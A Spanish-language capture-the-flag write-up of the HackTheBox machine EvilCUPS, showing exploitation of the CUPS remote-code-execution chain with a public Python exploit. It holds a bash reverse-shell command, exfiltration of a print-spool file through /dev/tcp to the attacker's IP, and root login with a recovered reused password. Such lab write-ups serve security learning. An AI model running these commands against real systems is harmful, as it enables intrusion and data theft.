EvilCUPS – HackTheBox Link to heading
- OS: Linux
- Difficulty: Medium
- Platform: HackTheBox
Resumen Link to heading
“EvilCUPS” es una máquina de la plataforma HackTheBox
la cual fue lanzada de forma especial ante una serie de vulnerabilidades contra el servicio CUPS
las cuales permiten ejecución remota de comandos. Siguiendo los pasos presentados hace un par de semanas (a la fecha de publicación) de este blog somos capaces de lograr ejecución remota de comandos en la máquina víctima, ganando acceso inicial a ésta. Además, somos capaces de leer archivos con datos para el servicio CUPS
, los cuales contenían una contraseña usada por el servicio de impresora y que era reutilizada para el usuario root
; ganando así control del sistema.
User / Usuario Link to heading
Empezando con un rápido y silencioso escaneo con Nmap
sólo muestra 2 puertos TCP
abiertos: 22
SSH
y 631
CUPS
:
❯ sudo nmap -sS --open --min-rate=5000 -p- -n -Pn 10.10.11.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 01:25 -03
Nmap scan report for 10.10.11.40
Host is up (0.26s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
631/tcp open ipp
Nmap done: 1 IP address (1 host up) scanned in 16.91 seconds
Aplicando algunos scripts de reconocimiento sobre estos puertos tenemos:
❯ sudo nmap -sVC -p22,631 10.10.11.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 01:26 -03
Nmap scan report for 10.10.11.40
Host is up (0.51s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 36:49:95:03:8d:b4:4c:6e:a9:25:92:af:3c:9e:06:66 (ECDSA)
|_ 256 9f:a4:a9:39:11:20:e0:96:ee:c4:9a:69:28:95:0c:60 (ED25519)
631/tcp open ipp CUPS 2.4
|_http-title: Home - CUPS 2.4.2
| http-robots.txt: 1 disallowed entry
|_/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 137.89 seconds
Podemos ver que la máquina víctima está corriendo CUPS
en su puerto por defecto 631
:
CUPS
is a modular printing system for Unix-like computer operating systems which allows a computer to act as a print server.En resumen, CUPS
es el servicio que permite a la máquina actuar como una impresora.
Visitando http://10.10.11.40:631
en un navegador de internet muestra:
Tal cual la página misma y el escaneo de Nmap
muestran, tenemos una versión: 2.4.2
. Basados en el mensaje de copyright en el extermo inferior izquierdo (y además de googlear CUPS 2.4.2 release date
) nos muestra que esta versión es de alrededor del año 2022. La versión más actualizada (al momento de escribir este WriteUp) es 2.4.8
, lanzada en Abril del 2024.
Yendo a la pestaña de Printers
podemos ver que hay una impresora instalada: Canon_MB2300_series
:
Si clickeamos en el nombre de la impresora, podemos ver más información acerca de ésta:
y revisando los trabajos (jobs) que ha realizado/está realizando esta impresora (clickeando en Show Completed Jobs
) nos retorna:
Hay sólo 1 trabajo/job corriendo a nombre del usuario Witheld
.
Noto que hay tareas/trabajos (jobs) los cuales somos capaces de realizar, mientras que no somos capaces de realizar algunos otros. Por ejemplo, clickeando en Maintenance
en la parte media-alta izquierda de la pantalla, y luego seleccionando Print Test Page
crea una nuevo trabajo/job. Luego de unos segundos, si revisamos la lista de tareas, ésta ha sido ejecutada por el usuario anonymous
y el trabajo ha sido agregado a la lista:
Pero si intentamos una opción como, por ejemplo, Set Allowed Users
(clickeando en Administration
y cambiándola), ésta nos redirige al sitio http://10.10.11.40:631/admin/
. No tenemos acceso a esta ruta; sólo nos retorna código de estado 403 Forbidden
:
❯ curl -I http://10.10.11.40:631/admin/
HTTP/1.1 403 Forbidden
Connection: close
Content-Language: en_US
Content-Length: 370
Content-Type: text/html; charset=utf-8
Date: Thu, 03 Oct 2024 04:46:17 GMT
Accept-Encoding: gzip, deflate, identity
Server: CUPS/2.4 IPP/2.1
X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none'
En este punto es donde entran las vulnerabilidades. Cerca de 2 semanas atrás, se dio a conocer una publicación por Simone Margaritelli (a.k.a evilsocket) en su blog reportando 4 vulnerabilidades para el servicio CUPS
. Lo grave de esto, es que la explotación permite ejecución remota de comandos en el servidor víctima sin requerir autenticación. Citando literalmente del blog, las vulnerabilidades son:
- CVE-2024-47176 |
cups-browsed <= 2.0.1
binds onUDP
INADDR_ANY:631
trusting any packet from any source to trigger aGet-Printer-Attributes IPP
request to an attacker controlled URL. - CVE-2024-47076 |
libcupsfilters <= 2.1b1
:cfGetPrinterAttributes5
does not validate or sanitize theIPP
attributes returned from anIPP
server, providing attacker controlled data to the rest of theCUPS
system. - CVE-2024-47175 |
libppd <= 2.1b1
:ppdCreatePPDFromIPP2
does not validate or sanitize theIPP
attributes when writing them to a temporaryPPD
file, allowing the injection of attacker controlled data in the resultingPPD
. - CVE-2024-47177 |
cups-filters <= 2.0.1
:foomatic-rip
allows arbitrary command execution via theFoomaticRIPCommandLine
PPD
parameter.
En simples palabras, a grandes rasgos, la cadena de ataque es:
Siguiendo los pasos del blog, allí se explica cómo una mala configuración en el protocolo UDP
y su puerto por defecto para CUPS
, junto con uan falta de sanitización, le permitieron lograr Remote Code Execution
(ejecución remota de comandos) en el sistema. Por tanto, chequeamos si el primer requisito para explotar esta vulnerabilidad se cumple: CUPS
está usando el protocolo UDP
en su puerto. Para ello usamos Nmap
nuevamente:
❯ sudo nmap -sU -p631 10.10.11.40
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-03 02:49 -03
Nmap scan report for 10.10.11.40
Host is up (0.25s latency).
PORT STATE SERVICE
631/udp open|filtered ipp
Nmap done: 1 IP address (1 host up) scanned in 3.13 seconds
Está abierto. Empezamos bien.
Podemos entonces usar este exploit escrito en Python por IppSec (adaptado de este Advice de Seguridad del Github de CUPS Browsed) el cual aplica todos los pasos explicados anteriormente en el gráfico. Clonamos el repositorio, nos creamos un entorno virtual temporal con Python
llamado evilcups_env
, lo habilitamos e instalamos todas las librerías necesarias en éste:
❯ git clone https://github.com/IppSec/evil-cups.git
<SNIP>
❯ cd evil-cups
❯ python3 -m venv evilcups_env
❯ source evilcups_env/bin/activate
❯ pip3 install -r requirements.txt
❯ python3 evilcups.py -h
evilcups.py <LOCAL_HOST> <TARGET_HOST> <COMMAND>
Ahora bien, la parte “sensible” de este exploit es que si, por ejemplo, nos enviamos una reverse shell ésta compartirá el mismo PID
del proceso que está corriendo la impresora. De manera que, si por A, B, C motivo la mala impresora (agregada) se muere o es removida, nuestra reverse shell también morirá ya que es un proceso “child” (hijo) de ésta. Puede haber un proceso corriendo por detrás el cual elimina las impresoras no deseadas. Por tanto, nuestra reverse shell podría morir. Para sobrepasar este problema podemos crear un nuevo PID
el cual se haga cargo del proceso de la reverse shell utilizando el comando nohup
junto con el de la reverse shell. Por tanto, si realizamos esta secuencia de ataque para CUPS
, se recomienda hacerlo utilizando nohup
para crear un proceso independiente.
Como último aviso, en la vida real puede que no haya un proceso removiendo constantemente las impresoras no deseadas. De ser ese el caso (el cual es más realista), y por alguna razón nuestra reverse shell muere, tendremos que cambiar nuestra dirección IP dado que al realizar la inyección ésta no aceptará un nuevo archivo PPD
. Supongo que por eso la gente de HTB fue considerada y agregó el proceso de borrar impresoras. De otro modo necesitaríamos cambiar la IP cada vez que la reverse shell muere o, incluso, si es que simplemente ejecutamos un ping
para saber si el exploit funcionaba.
De vuelta al ataque. Empezamos un listener con netcat
en el puerto 443
:
❯ nc -lvnp 443
listening on [any] 443 ...
y ejecutamos el exploit:
❯ python3 evilcups.py 10.10.16.3 10.10.11.40 'nohup bash -c "bash -i >& /dev/tcp/10.10.16.3/443 0>&1" &'
IPP Server Listening on ('10.10.16.3', 12345)
Sending udp packet to 10.10.11.40:631...
Please wait this normally takes 30 seconds...
donde 10.10.16.3
es mi IP de atacante y 443
el puerto que estoy en escucha con nc
.
Luego de que hayan pasado unos 30 segundos, volvemos a revisar la página web de las impresoras (la pestaña/directorio /printers
):
La impresora maliciosa está allí.
Podemos entonces clickear en la impresora creada, ir a Maintenance
y cambiarla por la opción Print Test Page
:
Una vez clickeamos en ella podemos revisar nuestro listener de netcat
y vemos que hemos obtenido una shell como el usuario lp
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.40] 56334
bash: cannot set terminal process group (4689): Inappropriate ioctl for device
bash: no job control in this shell
lp@evilcups:/$ whoami
whoami
lp
Podemos obtener la flag de usuario en el directorio /home/htb
.
Root Link to heading
En general, todo lo relacionado con CUPS
se encontrará en el directorio /var/spool/cups
. Si queremos listar los archivos CUPS
, por ejemplo, los archivos PPD
inyectados, vemos que no podemos:
lp@evilcups:/$ ls -la /var/spool/cups/
ls: cannot open directory '/var/spool/cups/': Permission denied
lp@evilcups:/$ ls -la /var/spool | grep cups
drwx--x--- 3 root lp 4096 Oct 3 02:12 cups
Tal cual podemos ver, sólo somos capaces de ejecutar archivos en aquel directorio.
Ahora, podemos saber los nombres de los archivos PPD “a ciegas” gracias a la documentación de CUPS:
/var/spool/cups
. Two types of files will be found in the spool
directory: control files starting with the letter c
(c00001
, c99999
, c100000
, etc.) and data files starting with the letter d
(d00001-001
, d99999-001
, d100000-001
, etc.)Básicamente, el formato de los archivos con datos es d[numero entero con el job, 5 digitos]-[entero de la pagina a leer, 3 digitos]
. Así, por ejemplo, si queremos leer el job 3
ya la página 2 el nombre de archivo será d00003-002
; si queremos leer el job 1 y su página 4, leemos el archivo con nombre d00001-004
y así sucesivamente… Tal cual vimos en la fase de intrusión/al inicio, ya existía una impresora Canon
corriendo un job 1 por el usuario Witheld
; cuando agregamos un nuevo job como el usuario anonymous
, un job 2 fue agregado (el número luego del caracter -
). De manera que, quizás, seamos capaces de leer el archivo /var/spool/cups/d00001-001
el cual no será más que la data del job 1 y su página 1 (job el cual ya estaba presente originalmente en la máquina):
lp@evilcups:/$ cat /var/spool/cups/d00001-001
%!PS-Adobe-3.0
%%BoundingBox: 18 36 577 806
%%Title: Enscript Output
%%Creator: GNU Enscript 1.6.5.90
<SNIP>
(Br3@k-G!@ss-r00t-evilcups) s
_R
S
%%Trailer
%%Pages: 1
%%DocumentNeededResources: font Courier-Bold Courier
%%EOF
(Ya podemos ver algo que parece una contraseña… Pero podemos ver esto de una mejor manera)
Podemos tratar de convertir este archivo .ps
(tal cual indica el header del archivo) a formato PDF. Para pasar el archivo empiezo un nuevo listenre con nc
en el puerto 4444
, y guardo lo recibido en un archivo llamado printer.ps
:
❯ nc -lvnp 4444 > printer.ps
listening on [any] 4444 ...
Dado que la máquina víctima no tiene netcat
instalado, podemos usar la ruta /dev/tcp
para enviarnos la data/archivo:
lp@evilcups:/$ cat /var/spool/cups/d00001-001 > /dev/tcp/10.10.16.3/4444
Una vez recibida, chequeamos que ambos archivos tengan el mismo hash MD5
para corroborar que los datos no han sido corrompidos/se perdieron en el camino/fueron buenos:
lp@evilcups:/$ md5sum /var/spool/cups/d00001-001
2fb41de3cec5ef29a78c1c825998ac1f /var/spool/cups/d00001-001
y
❯ md5sum printer.ps
2fb41de3cec5ef29a78c1c825998ac1f printer.ps
Son los mismos. La data está intacta.
Podemos finalmente usar la herramienta ps2pdf
para pasar el archivo .ps
a PDF
y visualizar este archivo:
❯ ps2pdf printer.ps printer.pdf
❯ xdg-open printer.pdf
Tenemos una contraseña: Br3@k-G!@ss-r00t-evilcups
.
Revisamos si esta contraseña corresponde al usuario root
con la herramienta NetExec
:
❯ nxc ssh 10.10.11.40 -u 'root' -p 'Br3@k-G!@ss-r00t-evilcups'
SSH 10.10.11.40 22 10.10.11.40 [*] SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u3
SSH 10.10.11.40 22 10.10.11.40 [+] root:Br3@k-G!@ss-r00t-evilcups (Pwn3d!) (root) Linux - Shell access!
y corresponde.
Podemos finalmente loguearnos como el usuario root
a través de SSH
:
❯ sshpass -p 'Br3@k-G!@ss-r00t-evilcups' ssh -o stricthostkeychecking=no root@10.10.11.40
<SNIP>
root@evilcups:~# whoami
root
Podemos obtener la flag de root
en el directorio /root
.
~Happy Hacking